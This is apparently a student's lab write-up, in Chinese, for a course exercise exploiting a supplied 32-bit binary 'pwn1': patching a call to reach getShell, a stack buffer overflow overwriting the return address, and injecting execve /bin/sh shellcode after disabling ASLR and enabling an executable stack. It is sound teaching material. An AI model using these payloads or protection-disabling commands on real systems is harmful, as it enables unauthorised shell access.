2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

1. 实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。
pwn1文件包含以下三个函数:

  • main函数:用于调用foo函数。
  • foo函数:回显任何用户输入的字符串。
  • getShell函数:返回一个可用Shell。

本次实验的三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

2 实验要求

2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP:0x90
JNE:0x75
JE:0x74
CMP:0x39
JMP

  • Short Jump(短跳转):0xEB
  • Near Jump(近跳转):0xE9
  • Far Jump(远跳转):0xEA

2.2 掌握反汇编与十六进制编程器

反汇编:objdump -d xxx | more
十六进制编程器Perl:perl -e 'print "xxx"' > input

2.3 能正确修改机器指令改变程序执行流程

具体过程见实验步骤3.1

2.4 能正确构造payload进行bof攻击

具体过程见实验步骤3.3

3. 实践步骤

3.1 直接修改程序机器指令,改变程序执行流程

Step1:下载目标文件pwn1,并进行反汇编。
反汇编并分页显示objdump -d pwn1 | more

查找到getShell函数/getShell
可以看到getShell、foo、main三个函数的内存地址机器指令和汇编指令

Step2:计算修改内容
图中main函数调用foo函数call 8048491对应机器指令为e8d7ffffff

  • 其中e8call的机器指令
  • call=push IP+jmp near ptr
  • ffffffd7 + 80484ba = 8048491为foo函数的地址

所以计算getShell地址的跳转804847d - 80484ba = ffffffc3即将对应的机器指令改为e8 c3 ff ff ff

Step3:修改可执行文件

cp pwn1 pwn2做一个拷贝
vi pwn2对pwn2进行修改
:%!xxd以16进制的方式查看
/d7寻找需要修改的内容
r为单个修改
:%!xxd -r转回原格式
wq保存退出

重新反汇编可以看到已经改成了call getShell

Step4:运行尝试
运行成功。

3.2通过输入参数造成BOF攻击,改变程序执行流

Step1:反汇编查看缓冲区漏洞

可以看到foo函数预留了0x1c=28字节的缓冲区,所以超出部分将会溢出到其余内存空间,我们的目的是将getShell的内存地址存到EIP中
如下图:
于是可以确认我们需要将getShell的内存地址放在第33~36字节处。

Step2:输入尝试
输入111111112222222233333333444444441234567840个字节
新开一个端口使用gdb调试
运行后info r查看寄存器内容
可以看到IP的值为0x34333231
所以要将getShell的值反向存入33-36字节,即\x7d\x84\x04\x08

Step3:构造及输入
perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input构造的字符存入input文件中
\x0a为回车符;“>”为输出重定向
xxd input以16进制形式查看input内容
(cat input; cat) | ./pwn1将input通过管 道符“|”,输入至pwn1中
可以看到攻击成功了

发现一个问题是无法进行密码验证,暂时不知道如何解决。

3.3 注入Shellcode并执行

Step1:准备一段Shellcode
本次实验shellcode参考博客Shellcode入门
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
Step2:准备工作

  1. 安装execstacksudo apt-get install execstack
  2. sudo execstack -s pwn1设置堆栈可执行
  3. sudo execstack -q pwn1
  4. more /proc/sys/kernel/randomize_va_space查看地址随机化状态
  5. echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化(过程中发现sudo无法执行,需要先sudo -s进入root权限
  6. more /proc/sys/kernel/randomize_va_space再次查看地址随机化状态

Step3:构造注入的payload

采取retaddr+nop+shellcode的方式
nop为滑行区可以滑行到shellcode上
perl -e 'print "A" x 32; print "\x31\x32\x33\x34\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90x\00"' > input_shellcode

  1. 首先要进入到IP寄存器的内容,输入32字节的任意内容
  2. 然后四位为地址,暂定为\x01\x02\x03\x04
  3. 再输入滑行区
  4. 最后是shellcode
  5. 最后一位\x00不能为\x0a回车符,因为要进行gdb调试

Step4:GDB调试

  1. 注入运行(cat input_shellcode; cat) | ./pwn1

  2. 不要敲回车打开另一个终端

  3. 查看pwn1进程号ps -ef | grep pwn1进程号2540

  4. 进入gdb调试进程attach 2540

  5. 查看foo进程地址disassemble foo

  6. ret(0x080484ae)处设置断点break *0x080484ae

  7. 在原终端敲回车,gdb中c继续

  8. 查看栈顶指针位置info r esp

  9. 查看该位置(0xffffd71c)的数据

  10. 找到shellcode位置(0xffffd720)

  11. 调试结束

Step5:修改代码
perl -e 'print "A" x 32; print "\x20\xd7\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90x\00"' > input_shellcode
执行代码(cat input_shellcode;cat) | ./pwn1

4 问题及思考

4.1 实验收获

学习了栈的溢出攻击的简单原理,实验步骤完全按照老师给的说明和视频讲解,在应用过程中学习了怎样寻找进程号,怎样寻找代码的内存地址。

4.3 什么是漏洞?漏洞有什么危害?

漏洞是系统中的弱点
攻击者可以通过漏洞获取权限进行越权操作

4.2 问题

  1. 为什么在getShell中无法认证密码
  2. 我是在64位系统中操作的,不知道有什么区别
  3. 我用两台虚拟机模拟网络攻击失败,跟一个Ubuntu一个Kali有关系么
posted @ 2020-03-01 17:05  Jerrold_Y  阅读(209)  评论(0编辑  收藏  举报